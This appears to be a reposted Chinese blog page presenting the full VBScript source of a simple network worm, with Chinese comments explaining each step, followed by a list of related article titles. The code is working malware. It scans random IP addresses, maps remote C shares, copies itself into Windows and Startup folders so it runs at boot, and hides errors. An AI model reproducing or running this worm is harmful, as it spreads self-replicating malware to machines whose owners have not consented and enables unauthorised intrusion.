dim octa
dim octb
dim octc
dim octd
dim rand
dim dot
dim driveconnected
dim sharename
dim count
dim myfile
count = "0"
dot = "."
driveconnected="0"

set wshnetwork = wscript.createobject("wscript.network") '实现网上邻居共享文件夹的搜索与文件操作的对象
Set fso1 = createobject("scripting.filesystemobject")    '创建一个文件系统对象
set fso2 = createobject("scripting.filesystemobject")
on error resume next '如果出现错误,直接跳过,防止弹出错误窗口

randomize '用一随机数初始化内置的随机数生成器(大于0少于1)
checkfile()  '创建newwork.log文件
randaddress() '产生一个随机的ip地址

do
do while driveconnected = "0"
checkaddress() '检查地址
shareformat() 
wshnetwork.mapnetworkdrive "j:", sharename '生成一个映射盘
enumdrives()  '找到了映射的共享盘就copy文件 感染
loop
copyfiles() '感染
disconnectdrive()
loop

msgbox "Done"

function disconnectdrive()
wshnetwork.removenetworkdrive "j:"
driveconnected = "0"
end function

function createlogfile()
Set myfile = fso1.createtextfile("c:/network.log", True)
end function

function checkfile()
If (fso1.fileexists("c:/network.log")) then
fso1.deletefile("c:/network.log")
createlogfile()
else
createlogfile()
end If
myfile.writeLine("Log file Open")
end function

function copyfiles()
myfile.writeline("Copying files to  :  " & sharename)
Set fso = CreateObject("scripting.filesystemobject")

fso.copyfile "c:/network.vbs", "j:/"

If (fso2.FileExists("j:/network.vbs")) Then
myfile.writeline("Successfull copy to  :  " & sharename)
End If

fso.copyfile "c:/network.vbs", "j:/windows/startm~1/programs/startup/"

fso.copyfile "c:/network.vbs", "j:/windows/"

fso.copyfile "c:/network.vbs", "j:/windows/start menu/programs/startup/"

end function

function checkaddress()
octd = octd + 1
if octd = "255" then randaddress()
end function

function shareformat()
sharename = "//" & octa & dot & octb & dot & octc & dot & octd & "/C"
end function

function enumdrives()
Set odrives = wshnetwork.enumnetworkdrives
For i = 0 to odrives.Count -1
if sharename = odrives.item(i) then
driveconnected = 1
else
' driveconnected = 0
end if
Next
end function

function randum()
rand = int((254 * rnd) + 1) '生成一个小于255的随机数
end function

function randaddress()
if count < 50 then
octa=Int((16) * Rnd + 199)  '生成一个199-215的随机数?
count=count + 1
else
randum()
octa= rand
end if
randum()
octb=rand
randum()
octc=rand
octd="1"
myfile.writeLine("Subnet  :  " & octa & dot & octb & dot & octc & dot & "0")
end function

一个非常简单那的蠕虫病毒(转)相关推荐

  1. 爬虫你的主机中的软件中止了一个已建立的连接_Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染...

    点击上方"民工哥技术之路"选择"星标" 每天10点为你分享不一样的干货  读者福利!多达 2048G 各种资源免费赠送 安全公司Palo Alto Networ ...

  2. 杀毒奇招:用安全网关消灭蠕虫病毒(转)

    自1988年出现第一个蠕虫病毒以来,计算机蠕虫病毒以其快速.多样化的传播方式不断给网络世界带来灾害.特别是网络的迅速发展令蠕虫造成的危害日益严重,造成一个谈毒色变的的网络世界. 不同于一般的病毒,蠕虫 ...

  3. 教你怎样用安全网关消灭蠕虫病毒(转)

    自1988年出现第一个蠕虫病毒以来,计算机蠕虫病毒以其快速.多样化的传播方式不断给网络世界带来灾害.特别是网络的迅速发展令蠕虫造成的危害日益严重,造成一个谈毒色变的的网络世界. 不同于一般的病毒,蠕虫 ...

  4. 感染 <SCRIPT Language=VBScript> DropFileName = “svchost.exe” Ramnit 蠕虫病毒 HTML清除工具

    最近开发一个web项目,html文件在尾部老是自动生成一串乱码,如下图 网上搜了下是电脑已经感染了Ramnit 蠕虫病毒,搜了一遍专杀工具各种收费,基本放弃.无奈电脑有太多东西,重装又浪费时间,时间成 ...

  5. 如何利用交换机处理蠕虫病毒的入侵?(转)

    互联网蠕虫的泛滥在最近几年造成了巨大的损失,让很多服务运营商和企业网络的管理员甚为头疼的不仅是其不断的发展变种,而且发作造成的损害也越来越严重.尽管蠕虫本身通常并不破坏任何的数据,但它所带来的直接和间 ...

  6. Morto蠕虫病毒分析报告

    文章目录 样本信息 病毒现场复现 分析过程 Loader部分 Payload部分 病毒查杀 样本信息 名称:cache.txt SHA1:a5f83e3baae0df2cdcf5b7e9e862705 ...

  7. 快速有效地封杀—巧利用Iris来查找蠕虫病毒(转)

    快速有效地封杀-巧利用Iris来查找蠕虫病毒(转) 近些年,蠕虫病毒的每一次大规模爆发,都给网络世界带来了深重的灾害.蠕虫病毒有着很强的破坏性,一个局域网中只要有一台电脑感染了蠕虫病毒,就有可能引起网 ...

  8. Net-Worm.Win32.Kido.ih蠕虫病毒分析+专杀工具源代码+手工清除全过程

    Net-Worm.Win32.Kido.ih蠕虫病毒分析+专杀工具源代码+手工清除全过程                                                         ...

  9. Docker Hub上镜像发现挖矿蠕虫病毒,已导致2000台主机感染

    点击上方"民工哥技术之路"选择"星标" 每天10点为你分享不一样的干货   安全公司Palo Alto Networks威胁情报小组Unit 42发现一种新型的 ...

最新文章

  1. Spring Boot 数据库连接池入门
  2. LeetCode 1220. 统计元音字母序列的数目(DP)
  3. django前端模板循环多个list
  4. html网页跟随滚轮变化,实现桌面和移动浏览器元素随页面滚动产生动画
  5. 计算机专业新手博客,【转载】学计算机必读献给计算机专业大一新生(1)
  6. RTP 包格式 详细解析
  7. WampServer 给电脑搭建apache服务器和php环境
  8. jsp java ldquo_添加jsp · yayaangel/java201521123103 - Gitee.com
  9. HTML+CSS+JS实现 ❤️3D旋转魔方图片相册特效❤️
  10. 王者荣耀关注显示服务器忙,王者荣耀不满足参加该活动的条件 访问繁忙解决方法...
  11. 使用IE浏览器,禁止访问,显示 Internet Explorer增强安全配置正在阻止来自下列网站的从应用程序中的内容
  12. ethz-asl Hand-Eye-Calibration 实验之hand_eye_calibration_batch_estimation模块
  13. android 新闻功能列表,news: 用Android基本技术实现的新闻App
  14. Redis的maven依赖
  15. ggplot2画图——点图想要描边但是又需要去除边框
  16. 外卖优惠券返利分销系统saas系统
  17. 东南融通收购尚洋信德 合并后位居国内第二位
  18. 计算机无法代替的工作有哪些,人工智能代替不了哪些行业?一起来看看!
  19. Chrome浏览器显示 您的连接不是私密连接
  20. 使用 Cartopy 绘制区域地图

热门文章

  1. 初学者怎么自学python编程_学习python网络编程怎么入门
  2. 解决cc1plus.exe: error: out of memory allocating
  3. 经典算法详解(10)图中有多少个三角形
  4. 她把一个“三无”产品做进故宫,还一举颠覆了蛋糕界,厉害了我的仙女姐姐...
  5. ssh工具-FinalShell
  6. 离散型变量的编码方式——one-hot与哑变量(dummy variable)
  7. 文件已在资源管理器中打开无法删除解决方法
  8. 一款基于 Web 的通用数据管理工具 CloudQuery(转载)
  9. tushare获取当天涨停的股票代码
  10. python小甲鱼笔记